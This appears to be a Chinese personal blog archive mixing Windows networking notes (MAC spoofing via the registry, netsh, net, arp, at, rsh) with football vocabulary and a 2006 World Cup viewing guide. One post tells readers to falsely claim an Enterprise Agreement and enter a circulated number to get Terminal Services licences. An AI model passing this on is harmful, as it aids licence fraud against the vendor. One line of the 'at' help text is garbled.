      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\

      找到右窗口的说明为"网卡"的目录,

      比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

    展开之,在其下的0000,0001,0002...的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值,比如说是"004040404040"然后重起计算机,ipconfig /all看看。
    曾几何时,大家都有想过在命令行下改IP和网关。以前在NT4下实现起来过于麻烦,现在Windows 2000下的Netsh命令能实现该功能了。

    Netsh 是本地或远程计算机的 Windows 2000 网络组件的命令行和脚本实用程序。为了存档或配置其他服务器,Netsh 实用程序也可以将配置脚本保存在文本文件中。

    Netsh 实用程序是一个外壳,它通过附加的"Netsh 帮助 DLL",可以支持多个 Windows 2000 组件。"Netsh 帮助 DLL"提供用来监视或配置特定 Windows 2000 网络组件的其他命令,从而扩展了 Netsh 的功能。每个"Netsh 帮助 DLL"都为特定的网络组件提供了一个环境和一组命令。每个环境中都可以有子环境。例如,在路由环境中存在子环境 Ip 和 Ipx,它们将 IP 路由和 IPX 路由命令集中在一起。

    Netsh 命令行选项包括下列各项:

    用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]
    [Command | -f ScriptFile]

    下列指令有效:

    此上下文中的命令:
    ? - 显示命令列表。
    aaaa - 更改到 `aaaa` 上下文。
    add - 将一个配置项添加到项目列表中。
    delete - 在项目列表上删除一个配置项目。
    dhcp - 更改到 `dhcp` 上下文。
    dump 0 - 显示一个配置脚本。
    exec - 运行一个脚本文件。
    help - 显示命令列表。
    interface - 更改到 `interface` 上下文。
    ras - 更改到 `ras` 上下文。
    routing - 更改到 `routing` 上下文。
    set - 更新配置设置。
    show - 显示信息
    wins - 更改到 `wins` 上下文。

    下列的子上下文可用:
    routing interface ras dhcp wins aaaa

    若需要命令的更多帮助信息,请键入命令,
    后面跟 ?。
    -a AliasFile
    指定使用了一个别名文件。别名文件包含 netsh 命令列表和一个别名版本,所以可以使用别名命令行替换 netsh 命令。可以使用别名文件将其他平台中更熟悉的命令映射到适当的 netsh 命令。

    -c Context
    指定对应于已安装的支持 DLL 的命令环境。

    命令
    指定要执行的 netsh 命令。

    -f ScriptFile
    指定运行 ScriptFile 文件中所有的 netsh 命令。

    -r RemoteMachine
    指定在远程计算机上运行 netsh 命令,由名称或 IP 地址来指定远程计算机。

    您可以将命令缩写为意义明确的最短的字符串。例如,发布 sh ip int 命令相当于发布 show ip interface。Netsh 命令可以是全局的或特定环境的。全局命令可以在任何环境中发布,并用于一般的 Netsh 实用程序功能。特定环境的命令随环境而变化。您可以将发布的命令记录在日志文件中,以创建 netsh 命令会话的审核踪迹。

    列出了 netsh 全局命令。

    命令 说明
    .. 上移一个环境等级。
    ? 或 help 显示命令行"帮助"。
    show version 显示 Windows 和 Netsh 实用程序的当前版本。
    show netdlls 显示已安装的"Netsh 帮助 DLL"的当前版本。
    add helper 添加"Netsh 帮助 DLL"。
    delete helper 删除"Netsh 帮助 DLL"。
    show helper 显示已安装的"Netsh 帮助 DLL"。
    cmd 创建 Windows 2000 命令窗口。
    online 将当前模式设置为联机。
    offline 将当前模式设置为脱机。
    set mode 将当前模式设置为联机或脱机。
    show mode 显示当前模式。
    flush 丢弃以脱机模式进行的任何更改。
    commit 提交以脱机模式进行的更改。
    set audit-logging 打开或关闭记录工具。
    show audit-logging 显示当前的审核记录设置。
    set loglevel 设置记录信息的级别
    show loglevel 显示记录信息的级别。
    set machine 配置执行 netsh 命令的计算机。
    show machine 显示执行 netsh 命令的计算机。
    exec 执行包括 netsh 命令的脚本文件。
    quit 或 bye 或 exit 退出 Netsh 实用程序。
    add alias 向现有命令添加别名。
    delete alias 删除现有命令的别名。
    show alias 显示所有已定义的别名。
    dump 将配置写入文本文件。
    popd 从堆栈中弹出环境的脚本命令。
    pushd 将当前的环境推入堆栈的脚本命令。

    Netsh 实用程序有如下命令模式:

    联机
    联机模式下,在 Netsh 命令提示符下发布的命令被立即执行。

    脱机
    脱机模式下,将在 Netsh 命令提示符下积累发布的命令,并通过发布 commit 全局命令来按照批处理方式执行。可以通过发布 flush 全局命令来丢弃积累的命令。

    脚本
    使用 -f 命令行选项,或在 Netsh 命令提示符下发布 exec 全局命令,可以执行指定文件中所有的 netsh 命令。

    要创建当前配置的脚本,请使用 dump 全局命令。dump 命令根据 netsh 命令输出当前运行的配置。可以使用该命令创建的脚本来配置新的服务器或重新配置现有的服务器。如果要对组件的配置作很大的更改,推荐您使用 dump 命令开始配置会话,以防在进行更改前需要还原配置。

    Interface 命令
    下表列出了可在 Windows 2000 命令提示符下键入的 netsh 命令,这些命令用于管理运行 Windows 2000 Server 及"路由和远程访问"服务的计算机上的接口设置。如果对某个特殊功能有多个命令,则在每个命令之间用斜线 (/) 分隔。

    当在命令提示符下键入命令时,请在每个命令前加上 netsh。要获得每个命令的精确语法,可在命令之后键入 ?。选项例如,要获得 netsh interface 命令的命令行"帮助",请在命令提示符下键入 netsh interface?。

    命令 说明
    interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
    interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。

    ……… (省略二、三千字)


    言归正传,现在来看看WIN2000下的网络设置的配置。

    D:\>netsh
    netsh>interface
    interface>dump
    #========================
    # 接口配置
    #========================
    pushd interface

    reset all


    popd
    # 接口配置结束

    # ----------------------------------
    # 接口 IP 配置
    # ----------------------------------
    pushd interface ip


    # "本地连接 2" 的接口 IP 配置

    set address name = "本地连接 2" source = dhcp
    set dns name = "本地连接 2" source = dhcp
    set wins name = "本地连接 2" source = dhcp

    # "本地连接" 的接口 IP 配置

    set address name = "本地连接" source = static addr = 192.168.1.10 mask = 255.255.255.0
    set address name = "本地连接" gateway = 192.168.0.1 gwmetric = 1
    set dns name = "本地连接" source = static addr = 192.168.0.1
    set wins name = "本地连接" source = static addr = none


    popd
    # 接口 IP 配置结束


    如果,你想快速修改一个本地IP地址。
    你可以先用文本写入以下的内容:

    interface ip
    set address 本地连接 static 192.168.5.10 255.255.255.0 192.168.0.1 1
    ^^^ ^^^ ^^^ ^^^ ^^
    接口名称 IP地址 子网掩码 网关 接口跃点数

    如上保存为 local.sh

    D:\>netsh exec local.sh

    终端服务注册绝对可行的方法-CCF


    哈哈,让我们去微软注册去

    https://activate.microsoft.com/

    购买方式选择:Select or Exterprise Agreement

    得到7组数字字母的服务器ID

    服务器上选择选择电话注册

    然后获取客户机许可证

    数量随便填,注册号码可用:4954438 (这儿是关键)

    OK,ID拿到了,再也没有什么90天的限制。

    哈哈哈,微软写的注册机真好

    mstsc -console

    mstsc -console
    这个命令....哈哈
    June 05

    world cup将至,极速补课。(足球有关词语)

    world cup将至,极速补课。(足球有关词语)

    football, soccer, Association football  足球
    field, pitch  足球场
    midfield  中场
    kick-off circle  中圈
    half-way line  中线
    football, eleven  足球队
    football player  足球运动员
    goalkeeper, goaltender, goalie  守门员
    back  后卫
    left  左后卫
    right back  右后卫
    centre half back  中卫
    half back  前卫
    left half back  左前卫
    right half back  右前卫
    forward  前锋
    centre forward, centre  中锋
    inside left forward, inside left  左内锋
    inside right forward, inside right  右内锋
    outside left forward, outside left  左边锋
    outside right forward, outside right  右边锋
    kick-off  开球
    bicycle kick, overhead kick  倒钩球
    chest-high ball  平胸球
    corner ball, corner  角球
    goal kick  球门球
    ground ball, grounder  地面球
    hand ball  手触球
    header  头球
    penalty kick  点球
    spot kick  罚点球
    free kick  罚任意球
    throw-in  掷界外球
    ball handling  控制球
    block tackle  正面抢截
    body check  身体阻挡
    bullt  球门前混战
    fair charge  合理冲撞
    chesting  胸部挡球
    close-marking defence  钉人防守
    close pass, short pass  短传
    consecutive passes  连续传球
    deceptive movement  假动作
    diving header  鱼跃顶球
    flying headar  跳起顶球
    dribbling  盘球
    finger-tip save  (守门员)托救球
    clean catching  (守门员)跳球抓好
    flank pass  边线传球
    high lobbing pass  高吊传球
    scissor pass  交叉传球
    volley pass  凌空传球
    triangular pass  三角传球
    rolling pass, ground pass  滚地传球
    slide tackle  铲球
    clearance kick  解除危险的球
    to shoot  射门
    grazing shot  贴地射门
    close-range shot  近射
    long drive  远射
    mishit  未射中
    offside  越位
    to pass the ball  传球
    to take a pass  接球
    spot pass  球传到位
    to trap  脚底停球
    to intercept  截球
    to break through, to beat  带球过人
    to break loose  摆脱
    to control the midfield  控制中场
    to disorganize the defence  破坏防守
    to fall back  退回
    to set a wall  筑人墙
    to set the pace  掌握进攻节奏
    to ward off an assault  击退一次攻势
    to break up an attack  破坏一次攻势
    ball playing skill  控球技术
    total football  全攻全守足球战术
    open football  拉开的足球战术
    off-side trap  越位战术
    wing play  边锋战术
    shoot-on-sight tactics  积极的抢射战术
    time wasting tactics  拖延战术
    Brazilian formation  巴西阵式, 4-2-4 阵式
    four backs system  四后卫制
    four-three-three formation  4-3-3 阵式
    four-two-four formation  4-2-4 阵式
    red card  红牌(表示判罚出场)
    yellow card  黄牌(表示警告)

    德国世界杯看球熬夜 星级指南!

    德国世界杯看球熬夜 星级指南!
    6月9曰晚 推荐熬夜指数:* * *
    (对德迷:* * * * *)
    —— 4年一次的世界杯盛大开幕式,还有东道主参加的揭幕战,必将热闹非凡。然而,毕竟揭幕战都是由东道主对阵一支同组较弱的队,悬念方面要打点折扣。纵然90年的喀麦隆和02年的塞内加尔都历历在目,但是足球要是都是冷门的话,也无所谓足球了……另一场比赛也不够显眼,波兰,厄瓜多尔都不是我们熟悉的队。

    6月10曰晚 推荐熬夜指数:* * * *
    ——终于可以一晚看三场比赛了,9点开始看“历史上最强阵容”(貌似98年就这么说过)的英格兰闪亮登场。缺少了鲁尼的英格兰实力的确要打折扣,而巴拉圭也不再是98年那个3只会防守等着奇拉维特扑点球的南美意大利队了。这场比赛将有一点悬念,如果英格兰打不好首场,埃里克森最好先作好订10天后的返程机票的准备。
    第二场应该是可以看新鲜的,从来没有露过脸的特立尼达和多巴哥要来SHOW一下,久违了,熟悉的约克!不知面对拥有“曼联克星”永贝里和伊布的瑞典,他能不能树起领子表现出像当年横扫欧陆一样的霸气。不过对于大部分球迷,特别是“阿迷”来说,这一场可以眯着眼看,养精蓄锐为下一场。
    第三场,凌晨3点,阿根廷终于来了!阿迷们快醒醒啊!还记得02年“战神”巴蒂泪洒赛场,让我们唏嘘不已。他当年离开赛场时拥抱过的克雷斯波、艾马尔们,已经接过他的衣钵,他们会在“艇长”里克尔梅的指挥下所向披靡吗?那要看德罗巴答不答应了!
    3场比赛过足瘾,这一晚,绝对值!

    6月11曰晚 推荐熬夜指数:* * * * *
    这一夜应该属于技术流的养眼足球。赛黑,荷兰,墨西哥,葡萄牙……
    ——塞黑继承了前南斯拉夫的东欧风格,身体和脚下技术一样好。而荷兰队一直给我们绚烂的感觉,这场比赛无论胜负如何,场面一定相当地壮观。还记得2000年欧洲杯,荷兰在自己的主场6:1狂菜前南,换下场的荷兰球员向独中四元(一说三元)的克鲁伊维特握手致敬。6年后,克鲁已经是明曰黄花,不知少帅巴斯滕能否在教练席上也能和当年在赛场上一样给我们带来惊喜,不知年轻的荷兰能否继续6年前的激情,也不知米洛舍维奇们能否一雪前耻……
    ——墨西哥和伊朗这场比赛貌似没有什么,但是我还是强烈推荐大家在这个时候不要闭眼睛。这是两支崇尚技术的球队。作为第一个登场的亚洲球队,伊朗一定渴望给人们惊喜。其实他们有这样的能力,老马达依然那么强劲,在汉堡春风得意(唉,还是不喜欢他,丫97年在金州的那一脚世界波射穿了多少中国球迷的心……),卡里米在拜仁虽然混不上主力,但那也是在拜仁啊……呵呵,他们倒是像主场作战了。墨西哥,很多人对它能排在世界前十颇有微词,但是我敢说他们对得起这个名次。谁轻视它就会吃亏,98年高傲的韩国人就是明证。在美洲,墨西哥说他们第四就没人敢说自己第三(毕竟还有巴和阿,呵呵),而且,对巴西,墨西哥们几十年从来没怵过的……期待一下!
    ——第三场是葡萄牙的后黄金一代第一次在大赛中亮相。黄金一代在04年功亏一篑,令人惋惜。然而,从那里开始,小小罗们开始成长起来。这也是菲戈的最后一次大赛了,祝福FIGO,加油C罗!安哥拉?不认识啊,呵呵,不好意思……
     
    6月12曰晚 推荐熬夜指数:* * *
    (对意迷和MM:* * * * * )
    ——第一场澳大利亚对曰本?没意思!希望维杜卡,科威尔扁死小曰本就好!
    ——第二场美国队无法让我们提起兴趣(除非它和伊拉克,朝鲜,伊朗分一组,呵呵),我们关注的是他们的对手捷克。似乎大个子科勒已经不能参加世界杯了?内德维德也退出国家队了?偶倒不是很清楚……如果这样,捷克的水平要打很多折扣了……其实如果是我,我肯定是冲着内德去熬夜……回来吧,回来哟~铁人!
    ——第三场对于意迷来说可是不可错过的,但对于我们中立球迷来说倒不至于不可不看。首先,悬殊太大啊,加纳偶就认识个埃辛,如果发挥正常,现在红的发紫的托尼和状态神勇的PIPPO会痛扁对手……其次,偶其实不喜欢意大利的风格,不过帅哥果然是多啊,推荐MM一定要看哦!正好和加纳人对比下,马队一定异常地帅……)

    6月13曰晚 熬夜指数:* * * *
    ——第一场,韩国对多哥,按理说世界杯第四名的比赛可不能错过,但是,这4个“*”当然不是给韩国的!没人承认它能达到世界第四的水平。这一场,不看~
    ——第二场,齐秃和他的法国“闪亮”登场。嗯,希望法国不要再像上届一样了,要像就得像上上届,呵呵。亨利打瑞士是有感觉的(04年……),希望能再看见传说中的“亨利走廊”。
    ——第三场,哇,好亮的光啊!金灿灿的!没错,本届杯赛的大热门——五星巴西来了!罗拿耳朵,小罗,卡卡,阿德,板凳上有罗比尼奥,小如尼尼奥……晕,啥也不说了,克罗地亚是个很强的队,但是在巴西面前……就看巴西后防会不会出BUG了,双卡已老,要是还像以前那样没命地助攻的话,那他们后面的空地怕不是卢西奥一个人能顶的住的……
     
    6月14曰晚 推荐熬夜指数:* * *
    (对于西迷和德迷:* * * * * )
    ——姗姗来迟的西班牙终于来了,一向在世界杯上成绩很羞涩的西班牙,这次应该是信心满满吧,后面有“圣卡西”和狮王“普约尔”,前面有新一代帅哥托雷斯和雷耶斯(底气不很足地小小地说一声还有劳尔……),中间有哈维和法布雷加斯,看上去很美!不过,乌克兰的核弹头舍瓦可是个危险的家伙,第一次进世界杯决赛圈,一定兴奋得紧,要让这厮撒起欢,地球上貌似还没人挡得住他……
    ——突尼斯?沙特?他们去踢吧……
    ——至此,32强全部亮相完毕,看看第二轮……德国和波兰?传说中的闪电战?呵呵,在西特勒挂了后,貌似德国也闪不起来了。这一场,很可能德国两战出线的~也可能产生第一支回家的球队~
    6月15曰晚 熬夜推荐指数:* * *
    这三场就比赛本身来说似乎并不精彩,唯一可能受人关注的是谁会提前出线,如英格兰,当约克遇到众多当年曼联队友没准脚就软了,他一软英就有戏了,哈哈。
    6月16曰晚 熬夜推荐指数:* * * * *
    阿根廷和赛黑的比赛值得期待!另外还有荷兰的比赛!关键的第二轮,一定会出彩,强烈推荐
    6月17曰晚 熬夜推荐指数:* * *
    ——意大利的形势在打完美国后应该相当不错了!另外葡萄牙或许也有较大优势。但足球是圆的,谁敢说加纳就出不了呢?
     

    6月18曰晚 熬夜推荐指数:* * * * *
    ——有两个世界冠军的比赛(巴西,法国),当然值得一看。而且他们的对手不是很弱,第二轮往往是抓积分最重要的阶段,赢了就提前出线的诱惑必然使他们都会使出全力,比赛也随之精彩!推荐!

    6月19曰晚 熬夜推荐指数:* *
    ——除了西班牙的比赛,其他的实在提不起兴趣,呵呵。如果你不是西班牙的球迷的话,可以选择在这一天好好休息下,毕竟,还有20天的精彩呢!

    6月20曰晚 熬夜推荐指数:* * *
    ——从这一天开始,进入了第三轮的生死战,每晚有4场比赛,但是两两同时开球,所以如果只有一个电视的话只能看两场了。
    ——这天晚上比较引人注目的是英格兰和瑞典的比赛。艾里克森如何面对他的祖国?不过或许他们都提前出线了,这会让比赛的精彩程度打折扣。当然,更早点的东道主最后一场小组赛应该能吸引德迷们的目光。

    6月21曰晚 熬夜推荐指数:* * * * *
    ——可以说,熬了这么久,最期待的夜晚就在今夜了!凌晨3:00荷兰和阿根廷的火星撞地球的大战将在法兰克福的瓦尔德球场激情上演。78年的决赛,肯佩斯笑了,克鲁伊夫哭了;98年的1/4决赛,博格坎普笑了,奥特加哭了(小毛驴是我第一个偶像啊……);而今年,罗本们和里克尔梅们,谁笑谁哭?还好是小组赛,我们这些中立的球迷希望他们一起笑吧!比赛好看就好!
    ——稍早一点的葡萄牙和墨西哥的比赛可谓“拉丁风格的碰撞”,一定是一场不错的垫场赛,呵呵。

    6月22曰晚 熬夜推荐指数:* * * *
    ——好比赛赶一块了,唉。今晚10点的意大利与捷克的比赛能不看么?后面的曰本和巴西的“师徒战”能不看么?(其实有点BT地想着巴西把小曰本菜死才爽……)

    6月23曰晚 熬夜推荐指数:* * * *
    ——前半夜属于西班牙球迷。一向世界杯成绩很差的西班牙会在这个夜晚让他的球迷提心吊胆么?虽然面对的是提前回家的专业户沙特。希望西班牙的最后一场小组赛不会成为他的最后一场比赛!98年……唉,不说了!
    ——后半夜属于法国球迷!但强烈希望别属于齐达内!希望这不会是齐达内职业生涯的绝唱!别重蹈02年的覆辙……

    6月24曰晚——7月9曰晚 熬夜推荐指数:* * * * *
    淘汰赛,场场推荐!
    24曰晚 英格兰对德国??阿根廷对墨西哥或者荷兰对葡萄牙??貌似都是冤家!
    25曰晚 上面的可能性同样存在!!
    26曰晚 很可能是意大利对韩国,复仇!!看看韩国那厮在欧洲人的地盘上还有多大能耐!!另一场是巴西对某队,难道是西班牙?很KB哦……所以西班牙要出线,最好是小组第一,否则……
    27曰晚 法国对意大利?法国对捷克??……西班牙对XXX??
    28,29曰 好好休息吧!!!!
    30曰晚 四分之一!英阿,德荷,英葡,都有可能!还有一场极有可能是巴西对意大利!晕,怎么又都是冤家!!
    1曰晚 第一场和前一天的第一场可能性差不多!第二场可能是法国对西班牙!
    2-3曰 好好休息下,冲刺了!
    4曰晚(5曰凌晨3点)半决赛,是20曰晚的两个胜利者的对话,给巴西(意大利)预留个位置……对手难道是阿根廷?德国?荷兰?英格兰?葡萄牙?这5强只能出线一个,很残忍啊!或者不认识的某队?
    5曰晚(6曰凌晨3点)半决赛,法国或西班牙会在这里出现,挑战上面5强之一吗?
    6曰-8曰 呼呼大睡中……
    9曰晚上,记得调好闹钟哦!10曰凌晨的2点,柏林奥林匹克体育场,我们一起见证某队长高举大力神杯!!!他会是谁呢?埃莫森?索林?巴拉克?小贝?菲戈?普约尔?齐达内?马队?……李伟峰?(HOHO,偶YY下)

    所有建议基本都是以中立球迷的角度看的,欢迎大家一起讨论啊
    June 04

    XP_sp2 禁止视频的预览功能

    在Windows XP中,视频文件的预览功能主要是动态链接文件“shmedia.dll”在起作用,我们只要依次打开“开始→运行”命令,在“运行”一栏中输入“regsvr32 /u shmedia.dll”,然后单击“确定”按钮,当出现“shmedia.dll中的DllUnregisterServer成功”的提示框时,便可成功禁止视频的预览功能了。若今后打算恢复该预览功能,只要输入“regsvr32 shmedia.dll”就可以了。
    June 03

    Old Net command

    Windows 2k/2003 Server
    1.最基本,最常用的,测试物理网络的
    ping 192.168.10.88 -t ,参数-t是等待用户去中断测试

    2.查看DNS、IP、Mac等
    A.Win98:winipcfg
    B.Win2000以上:Ipconfig/all

    C.NSLOOKUP:如查看河北的DNS
    C:\>nslookup
    Default Server: ns.hesjptt.net.cn
    Address: 202.99.160.68
    >server 202.99.41.2 则将DNS改为了41.2
    > pop.pcpop.com
    Server: ns.hesjptt.net.cn
    Address: 202.99.160.68

    Non-authoritative answer:
    Name: pop.pcpop.com
    Address: 202.99.160.212

    3.网络信使
    Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
    net stop messenger 停止信使服务,也可以在面板-服务修改
    net start messenger 开始信使服务

    4.探测对方对方计算机名,所在的组、域及当前用户名
    ping -a IP -t ,只显示NetBios名
    nbtstat -a 192.168.10.146 比较全的

    5.netstat -a 显示出你的计算机当前所开放的所有端口
    netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等

    6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
    arp -a

    7.在代理服务器端
    捆绑IP和MAC地址,解决局域网内盗用IP:
    ARP -s 192.168.10.59 00-50-ff-6c-08-75
    解除网卡的IP与MAC地址的绑定:
    arp -d 网卡IP

    8.在网络邻居上隐藏你的计算机
    net config server /hidden:yes
    net config server /hidden:no 则为开启

    9.几个net命令
    A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
    比如:查看这个IP上的共享资源,就可以
    C:\>net view 192.168.10.8
    在 192.168.10.8 的共享资源
    资源共享名 类型 用途 注释
    --------------------------------------
    网站服务 Disk
    命令成功完成。

    B.查看计算机上的用户帐号列表 net user
    C.查看网络链接 net use
    例如:net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘

    D.记录链接 net session
    例如:
    C:\>net session
    计算机 用户名 客户类型 打开空闲时间
    -------------------------------------------------------------------------------
    \\192.168.10.110 ROME Windows 2000 2195 0 00:03:12

    \\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
    命令成功完成。

    10.路由跟踪命令
    A.tracert pop.pcpop.com
    B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%

    11.关于共享安全的几个命令
    A.查看你机器的共享资源 net share
    B.手工删除共享
    net share c$ /d
    net share d$ /d
    net share ipc$ /d
    net share admin$ /d
    注意$后有空格。
    C.增加一个共享:
    c:\net share mymovie=e:\downloads\movie /users:1
    mymovie 共享成功。
    同时限制链接用户数为1人。

    12.在DOS行下设置静态IP
    A.设置静态IP
    CMD
    netsh
    netsh>int
    interface>ip
    interface ip>set add "本地链接" static IP地址 mask gateway
    B.查看IP设置
    interface ip>show address

    Arp
    显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。

    语法
    arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]

    参数
    -a [InetAddr] [-N IfaceAddr]
    显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。
    -g [InetAddr] [-N IfaceAddr]
    与 -a 相同。
    -d InetAddr [IfaceAddr]
    删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 通配符代替 InetAddr。
    -s InetAddr EtherAddr [IfaceAddr]
    向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。
    /?
    在命令提示符显示帮助。
    注释
    InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。
    物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
    通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示所有接口的 ARP 缓存表,可键入:

    arp -a

    对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入:

    arp -a -N 10.0.0.99

    要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:

    arp -s 10.0.0.80 00-AA-00-4F-2A-9C

    At
    计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。

    语法
    at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]

    at [\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]

    参数
    \\computername
    指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
    ID
    指定指派给已计划命令的识别码。
    /delete
    取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
    /yes
    删除已计划的事件时,对来自系统的所有询问都回答“是”。
    hours:minutes
    指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
    /interactive
    对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
    /every:
    在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
    date
    指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
    /next:
    在下一个指定日期(比如,下一个星期四)到来时运行 command。
    command
    指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
    /?
    在命令提示符显示帮助。
    注释
    Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。

    使用 at
    使用 at 命令时,要求您必须是本地 Administrators 组的成员。

    加载 Cmd.exe
    在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门加载 Cmd.exe:

    cmd /c dir > c:\test.out。

    查看已计划的命令
    当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:

    Status ID Day Time Command Line
    OK 1 Each F 4:30 PM net send group leads status due
    OK 2 Each M 12:00 AM chkstor > check.file
    OK 3 Each F 11:59 PM backup2.bat
    包含标识号 (ID)
    当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:

    Task ID: 1

    Status:OK

    Schedule:Each F

    Time of Day:4:30 PM

    Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。

    查看结果
    使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (>。如果将输出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 。例如,要重定向输出到 Output.text 文件,则要键入:

    at 14:45 c:\test.bat ^>c:\output.txt

    执行命令的当前目录为 systemroot 文件夹。

    更改系统时间
    在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。

    存储命令
    已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。

    连接到网络驱动器
    对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:

    at 1:00pm my_backup \\server\share

    请不要使用下述语法(其中 x: ?表示由用户建立的连接):

    at 1:00pm my_backup x:

    如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。

    范例
    要显示 Marketing 服务器上已计划的命令列表,请键入:

    at \\marketing
    要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:

    at \\corp 3
    要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共享目录下)中,请键入:

    at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt"
    为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),然后计划该批处理程序的运行,为此请键入:

    at \\marketing 00:00 /every:5,10,15,20,25,30 archive
    要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:

    at /delete
    如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:

    cmd /c dir > c:\test.out。
    Rsh
    在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。

    语法
    rsh [Host] [-l UserName] [-n] [Command]

    参数
    Host
    指定运行 command 的远程计算机。
    -l UserName
    指定远程计算机上使用的用户名。在省略情况下,使用当前登录用户的名称。
    -n
    将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。
    Command
    指定要运行的命令。
    /?
    在命令提示符显示帮助。
